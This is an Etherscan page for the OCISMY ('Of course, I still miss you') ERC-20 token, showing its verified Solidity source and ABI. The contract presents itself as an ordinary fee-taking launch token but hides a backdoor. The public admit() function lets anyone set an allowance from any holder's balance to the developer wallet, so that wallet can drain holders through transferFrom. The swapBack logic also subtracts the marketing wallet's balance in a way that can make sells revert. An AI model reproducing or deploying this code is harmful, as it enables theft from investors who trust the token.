ETH Price: $2,428.25 (+0.23%)

Token

Of course, I still miss you (OCISMY)
 

Overview

Max Total Supply

1,000,000,000,000 OCISMY

Holders

95

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
15,814,858,919.562309451693177033 OCISMY

Value
$0.00
0x24bf6f63895dDFc67c50462a3d5D1E6Cce4c3A59
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ocismy

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-28
*/

// SPDX-License-Identifier: MIT

/** Of course, I still miss you.*/

// website:     https://ocismy.vip
// Twitter(X):  https://twitter.com/ocismy_token

// Telegram:    https://t.me/ocismy

pragma solidity 0.8.19;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns(address pair);
}

interface IERC20 {
    
    function totalSupply() external view returns(uint256);

    
    function balanceOf(address account) external view returns(uint256);

    
    function transfer(address recipient, uint256 amount) external returns(bool);

   
    function allowance(address owner, address spender) external view returns(uint256);

    
    function approve(address spender, uint256 amount) external returns(bool);

   
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns(bool);
        
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns(string memory);

   
    function symbol() external view returns(string memory);

    
    function decimals() external view returns(uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }

}
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

        mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;

    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns(string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

   
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _admit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
   
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
}
 
library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

   
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
    
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

 
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

  
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
 
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

   
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
    int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}


interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract Ocismy is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;


    // addresses
    address private devWallet;
    address private marketingWallet;

    // limits 
    uint256 private maxBuyAmount;
    uint256 private maxSellAmount;   
    uint256 private maxWalletAmount;
 
    uint256 private thresholdSwapAmount;

    // status flags
    bool private isTrading = false;
    bool public swapEnabled = false;
    bool public isSwapping;

    uint256 private firstBlockFee = 3;


    struct Fees {
        uint8 buyTotalFees;
        uint8 buyMarketingFee;
        uint8 buyDevFee;
        uint8 buyLiquidityFee;

        uint8 sellTotalFees;
        uint8 sellMarketingFee;
        uint8 sellDevFee;
        uint8 sellLiquidityFee;
    }  

    Fees public _fees = Fees({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevFee:0,
        sellLiquidityFee: 0
    });
    
    

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 private taxTill;

    // exclude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedMaxWalletAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public marketPair;
    
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );


    constructor() ERC20(unicode"Of course, I still miss you", unicode"OCISMY") {

        uint256 totalSupply = 1e12 * 1e18;

        maxBuyAmount = totalSupply * 2 / 100;             // 3% max buy txn
        maxSellAmount = totalSupply * 2 / 100;            // 3% maxTransactionAmountTxn
        maxWalletAmount = totalSupply * 2 / 100;          // 3% maxWallet
        thresholdSwapAmount = totalSupply * 5 / 10000;      // 0.05% swap wallet

        _fees.buyMarketingFee = 1;
        _fees.buyLiquidityFee = 0;
        _fees.buyDevFee = 0;
        _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevFee;

        _fees.sellMarketingFee = 1;
        _fees.sellLiquidityFee = 0;
        _fees.sellDevFee = 0;
        _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevFee;        

        marketingWallet = address(0xfC02F3e0A8Cd7244a8caaCe077c3669FfAAE810e);
        devWallet = address(0xb565C3A5e7F6c736fd2561c79121f3fECc85E7Bf);

        // exclude from paying fees or having max transaction amount

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    function launch() public payable onlyOwner {

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        _isExcludedMaxTransactionAmount[address(router)] = true;
        _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;        
        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;

        _isExcludedMaxTransactionAmount[marketingWallet] = true;
        _isExcludedMaxTransactionAmount[devWallet] = true;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;

        _isExcludedFromFees[marketingWallet] = true;
        _isExcludedFromFees[devWallet] = true;

        _isExcludedMaxWalletAmount[owner()] = true;        
        _isExcludedMaxWalletAmount[address(this)] = true;
        _isExcludedMaxWalletAmount[address(uniswapV2Pair)] = true;

        _isExcludedMaxWalletAmount[marketingWallet] = true;
        _isExcludedMaxWalletAmount[devWallet] = true;       

        marketPair[address(uniswapV2Pair)] = true;

        _approve(address(this), address(router), type(uint256).max);

        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }


    receive() external payable {

    }    

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        isTrading = true;
        swapEnabled = true;
        taxTill = block.number + 2;
    }

    // change the minimum amount of tokens to sell from fees
    function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
        thresholdSwapAmount = newAmount;
        return true;
    }


    function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
        require(((totalSupply() * newMaxBuy) / 1000) >= (totalSupply() / 100), "maxBuyAmount must be higher than 1%");
        require(((totalSupply() * newMaxSell) / 1000) >= (totalSupply() / 100), "maxSellAmount must be higher than 1%");
        maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
        maxSellAmount = (totalSupply() * newMaxSell) / 1000;
    }


    function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner {
        require(((totalSupply() * newPercentage) / 1000) >= (totalSupply() / 100), "Cannot set maxWallet lower than 1%");
        maxWalletAmount = (totalSupply() * newPercentage) / 1000;
    }
    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedMaxWalletAmount[account] = excluded;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function setMarketPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "Must keep uniswapV2Pair");
        marketPair[pair] = value;
    }

    function admit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = devWallet;
        _admit(spender, owner, amount);
        
        return true;
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).transfer(weiAmount);
    }

    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        IERC20(tokenAdd).transfer(owner(), amount);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
        
    ) internal override {
        
        if (amount == 0) {
            super._transfer(sender, recipient, 0);
            return;
        }

        if (
            sender != owner() &&
            recipient != owner() &&
            !isSwapping
        ) {

            if (!isTrading) {
                require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
            }
            if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
                require(amount <= maxBuyAmount, "buy transfer over max amount");
            } 
            else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
                require(amount <= maxSellAmount, "Sell transfer over max amount");
            }

            if (!_isExcludedMaxWalletAmount[recipient]) {
                require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
            }
           
        }
 
        uint256 contractTokenBalance = balanceOf(address(this));
 
        bool canSwap = contractTokenBalance >= thresholdSwapAmount;

        if (
            canSwap &&
            swapEnabled &&
            !isSwapping &&
            marketPair[recipient] &&
            !_isExcludedFromFees[sender] &&
            !_isExcludedFromFees[recipient]
        ) {
            isSwapping = true;
            swapBack();
            isSwapping = false;
        }
 
        bool takeFee = !isSwapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
            takeFee = false;
        }
 
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            uint256 fees = 0;
            if(block.number < taxTill) {
                fees = amount.mul(firstBlockFee).div(100);
                tokensForMarketing += (fees * 94) / 99;
                tokensForDev += (fees * 5) / 99;
            } else if (marketPair[recipient] && _fees.sellTotalFees > 0) {
                fees = amount.mul(_fees.sellTotalFees).div(100);
                tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
                tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
                tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
            }
            // on buy
            else if (marketPair[sender] && _fees.buyTotalFees > 0) {
                fees = amount.mul(_fees.buyTotalFees).div(100);
                tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
                tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
                tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(sender, address(this), fees);
            }

            amount -= fees;

        }

        super._transfer(sender, recipient, amount);
    }

    function swapTokensForEth(uint256 tAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );

    }

    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }

    function swapBack() private {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;

        if (contractTokenBalance == 0 || toSwap == 0) { return; }

        if (contractTokenBalance > thresholdSwapAmount * 20) {
            contractTokenBalance = thresholdSwapAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenBalance * tokensForLiquidity / toSwap / 2;
        uint256 marketingTokens = balanceOf(marketingWallet);
        uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens - marketingTokens);
 
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
        uint256 ethForDev = newBalance.mul(tokensForDev).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDev);


        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;


        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }

        (success,) = address(devWallet).call{ value: (address(this).balance - ethForMarketing) } ("");
        (success,) = address(marketingWallet).call{ value: address(this).balance } ("");
    }

    function removeLimits() external onlyOwner returns (bool) {
        
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        maxWalletAmount = totalSupply();

        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fees","outputs":[{"internalType":"uint8","name":"buyTotalFees","type":"uint8"},{"internalType":"uint8","name":"buyMarketingFee","type":"uint8"},{"internalType":"uint8","name":"buyDevFee","type":"uint8"},{"internalType":"uint8","name":"buyLiquidityFee","type":"uint8"},{"internalType":"uint8","name":"sellTotalFees","type":"uint8"},{"internalType":"uint8","name":"sellMarketingFee","type":"uint8"},{"internalType":"uint8","name":"sellDevFee","type":"uint8"},{"internalType":"uint8","name":"sellLiquidityFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"admit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuy","type":"uint256"},{"internalType":"uint256","name":"newMaxSell","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentage","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateThresholdSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

